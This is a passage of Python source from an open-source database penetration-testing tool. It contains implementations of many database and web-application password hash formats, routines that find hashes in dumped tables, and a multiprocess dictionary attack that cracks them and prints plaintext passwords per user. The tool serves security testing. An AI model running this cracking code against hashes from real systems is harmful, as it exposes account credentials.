'0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ binsalt = hexdecode(salt) unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def mssql_new_passwd(password, salt, uppercase=False): """ Reference(s): http://hashcat.net/forum/thread-1474.html >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ binsalt = hexdecode(salt) unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) def oracle_passwd(password, salt, uppercase=True): """ Reference(s): https://www.evilfingers.com/tools/GSAuditor.php http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ http://seclists.org/bugtraq/2007/Sep/304 >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ binsalt = hexdecode(salt) retVal = "s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ >>> oracle_old_passwd(password='tiger', username='scott', uppercase=True) 'F894844C34402B67' """ IV, pad = "\0" * 8, "\0" if isinstance(username, unicode): username = unicode.encode(username, UNICODE_ENCODING) if isinstance(password, unicode): password = unicode.encode(password, UNICODE_ENCODING) unistr = "".join("\0%s" % c for c in (username + password).upper()) cipher = des(hexdecode("0123456789ABCDEF"), CBC, IV, pad) encrypted = cipher.encrypt(unistr) cipher = des(encrypted[-8:], CBC, IV, pad) encrypted = cipher.encrypt(unistr) retVal = hexencode(encrypted[-8:]) return retVal.upper() if uppercase else retVal.lower() def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) '179ad45c6ce2cb97cf1029e212046e81' """ retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha1_generic_passwd(password, uppercase=False): """ >>> sha1_generic_passwd(password='testpass', uppercase=False) '206c80413b9a96c1312cc346b7d2517b84463edd' """ retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def apache_sha1_passwd(password, **kwargs): """ >>> apache_sha1_passwd(password='testpass') '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ return "{SHA}%s" % base64.b64encode(sha1(password).digest()) def ssha_passwd(password, salt, **kwargs): """ >>> ssha_passwd(password='testpass', salt='salt') '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ return "{SSHA}%s" % base64.b64encode(sha1(password + salt).digest() + salt) def ssha256_passwd(password, salt, **kwargs): """ >>> ssha256_passwd(password='testpass', salt='salt') '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ return "{SSHA256}%s" % base64.b64encode(sha256(password + salt).digest() + salt) def ssha512_passwd(password, salt, **kwargs): """ >>> ssha512_passwd(password='testpass', salt='salt') '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ return "{SSHA512}%s" % base64.b64encode(sha512(password + salt).digest() + salt) def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ retVal = sha224(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha256_generic_passwd(password, uppercase=False): """ >>> sha256_generic_passwd(password='testpass', uppercase=False) '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ retVal = sha256(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha384_generic_passwd(password, uppercase=False): """ >>> sha384_generic_passwd(password='testpass', uppercase=False) '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ retVal = sha384(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def sha512_generic_passwd(password, uppercase=False): """ >>> sha512_generic_passwd(password='testpass', uppercase=False) '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ retVal = sha512(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html http://helpful.knobs-dials.com/index.php/Hashing_notes http://php.net/manual/en/function.crypt.php http://carey.geek.nz/code/python-fcrypt/ >>> crypt_generic_passwd(password='rasmuslerdorf', salt='rl', uppercase=False) 'rl.3StKT.4T8M' """ return crypt(password, salt) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): """ Reference(s): http://www.sabren.net/code/python/crypt/md5crypt.py >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' """ def _encode64(value, count): output = "" while (count - 1 >= 0): count = count - 1 output += ITOA64[value & 0x3f] value = value >> 6 return output if isinstance(password, unicode): password = password.encode(UNICODE_ENCODING) if isinstance(magic, unicode): magic = magic.encode(UNICODE_ENCODING) if isinstance(salt, unicode): salt = salt.encode(UNICODE_ENCODING) salt = salt[:8] ctx = password + magic + salt final = md5(password + salt + password).digest() for pl in xrange(len(password), 0, -16): if pl > 16: ctx = ctx + final[:16] else: ctx = ctx + final[:pl] i = len(password) while i: if i & 1: ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); } else: ctx = ctx + password[0] i = i >> 1 final = md5(ctx).digest() for i in xrange(1000): ctx1 = "" if i & 1: ctx1 = ctx1 + password else: ctx1 = ctx1 + final[:16] if i % 3: ctx1 = ctx1 + salt if i % 7: ctx1 = ctx1 + password if i & 1: ctx1 = ctx1 + final[:16] else: ctx1 = ctx1 + password final = md5(ctx1).digest() hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4) hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4) hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4) hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4) hash_ = hash_ + _encode64((int(ord(final[4])) << 16) | (int(ord(final[10])) << 8) | (int(ord(final[5]))), 4) hash_ = hash_ + _encode64((int(ord(final[11]))), 2) return "%s%s$%s" % (magic, salt, hash_) def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ return "%s:%s" % (md5("%s%s" % (password, salt)).hexdigest(), salt) def django_md5_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_md5_passwd(password='testpass', salt='salt') 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ return "md5$%s$%s" % (salt, md5("%s%s" % (salt, password)).hexdigest()) def django_sha1_passwd(password, salt, **kwargs): """ Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py >>> django_sha1_passwd(password='testpass', salt='salt') 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ return "sha1$%s$%s" % (salt, sha1("%s%s" % (salt, password)).hexdigest()) def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 >>> vbulletin_passwd(password='testpass', salt='salt') '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ return "%s:%s" % (md5("%s%s" % (md5(password).hexdigest(), salt)).hexdigest(), salt) def wordpress_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): http://packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' """ def _encode64(input_, count): output = '' i = 0 while i < count: value = ord(input_[i]) i += 1 output = output + ITOA64[value & 0x3f] if i < count: value = value | (ord(input_[i]) << 8) output = output + ITOA64[(value >> 6) & 0x3f] i += 1 if i >= count: break if i < count: value = value | (ord(input_[i]) << 16) output = output + ITOA64[(value >> 12) & 0x3f] i += 1 if i >= count: break output = output + ITOA64[(value >> 18) & 0x3f] return output if isinstance(password, unicode): password = password.encode(UNICODE_ENCODING) cipher = md5(salt) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): _ = md5(hash_) _.update(password) hash_ = _.digest() return "%s%s" % (prefix, _encode64(hash_, 16)) __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd, HASH.SHA256_GENERIC: sha256_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, HASH.WORDPRESS: wordpress_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd, HASH.SSHA: ssha_passwd, HASH.SSHA256: ssha256_passwd, HASH.SSHA512: ssha512_passwd, HASH.MD5_BASE64: md5_generic_passwd, HASH.SHA1_BASE64: sha1_generic_passwd, HASH.SHA256_BASE64: sha256_generic_passwd, HASH.SHA512_BASE64: sha512_generic_passwd, } def storeHashesToFile(attack_dict): if not attack_dict: return items = oset() for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) else: item = "%s\n" % hash_.encode(UNICODE_ENCODING) if item and item not in items: items.add(item) if kb.storeHashesChoice is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.storeHashesChoice = readInput(message, default='N', boolean=True) if items and kb.storeHashesChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) with open(filename, "w+") as f: for item in items: f.write(item) def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) lut = {} for (_, hash_, password) in results: lut[hash_.lower()] = password for user in kb.data.cachedUsersPasswords.keys(): for i in xrange(len(kb.data.cachedUsersPasswords[user])): if (kb.data.cachedUsersPasswords[user][i] or "").strip(): value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] if value in lut: kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = table.keys() count = table["__infos__"]["count"] if not count: return debugMsg = "analyzing table dump for possible password hashes" logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} for column in columns: if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == "__infos__": continue if len(table[column]["values"]) <= i: continue value = table[column]["values"][i] if hashRecognition(value): found = True if col_user and i < len(table[col_user]["values"]): if table[col_user]["values"][i] not in attack_dict: attack_dict[table[col_user]["values"][i]] = [] attack_dict[table[col_user]["values"][i]].append(value) else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ("s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: lut[hash_.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()])) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): retVal = None isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) if isinstance(value, basestring): for name, regex in getPublicTypeMembers(HASH): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue elif regex == HASH.CRYPT_GENERIC: if any((value.lower() == value, value.upper() == value)): continue elif re.match(regex, value): retVal = regex break return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 hashes = set(item[0][1] for item in attack_info) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if not attack_info: break count += 1 if not isinstance(word, basestring): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False) if current in hashes: for item in attack_info[:]: ((user, hash_), _) = item if hash_ == current: retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) attack_info.remove(item) elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() count = 0 rotator = 0 wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) try: for word in wordlist: if found.value: break count += 1 if not isinstance(word, basestring): continue if suffix: word = word + suffix try: current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes word = word.upper() retVal.put((user, hash_, word)) clearConsoleLine() infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'\n" % user else: infoMsg += " for hash '%s'\n" % hash_ dataToStdout(infoMsg, True) found.value = True elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) if user and not user.startswith(DUMMY_USER_PREFIX): status += " (user: %s)" % user if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: raise except (UnicodeEncodeError, UnicodeDecodeError): pass # ignore possible encoding problems caused by some words in custom dictionaries except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: pass finally: if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].func_name logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, hash_.decode("base64").encode("hex")), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1): item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}] elif hash_regex in (HASH.SSHA256,): item = [(user, hash_), {"salt": hash_.decode("base64")[32:]}] elif hash_regex in (HASH.SSHA512,): item = [(user, hash_), {"salt": hash_.decode("base64")[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] elif hash_regex in (HASH.WORDPRESS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD,): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = filter(None, dictPaths) for dictPath in dictPaths: checkFile(dictPath) if os.path.splitext(dictPath)[1].lower() == ".zip": _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception, ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warn(warnMsg) return results ����sqlmap-1.2.4/lib/utils/hashdb.py��������������������������������������������������������������������0000664�0000000�0000000�00000016764�13260122637�0016544�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 import threading import time from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import HASHDB_RETRIEVE_RETRIES from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} self._cache_lock = threading.Lock() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception, ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) return threadData.hashDBCursor def _set_cursor(self, cursor): threadData = getCurrentThreadData() threadData.hashDBCursor = cursor cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass @staticmethod def hashKey(key): key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 return retVal def retrieve(self, key, unserialize=False): retVal = None if key and (self._write_cache or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) if not retVal: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] except sqlite3.OperationalError, ex: if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) elif "Could not decode" in getSafeExString(ex): break else: raise except sqlite3.DatabaseError, ex: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg += "If the problem persists please rerun with `--flush-session`" raise SqlmapConnectionException(errMsg) else: break time.sleep(1) if retVal and unserialize: try: retVal = unserializeObject(retVal) except: retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with `--flush-session`" logger.warn(warnMsg) return retVal def write(self, key, value, 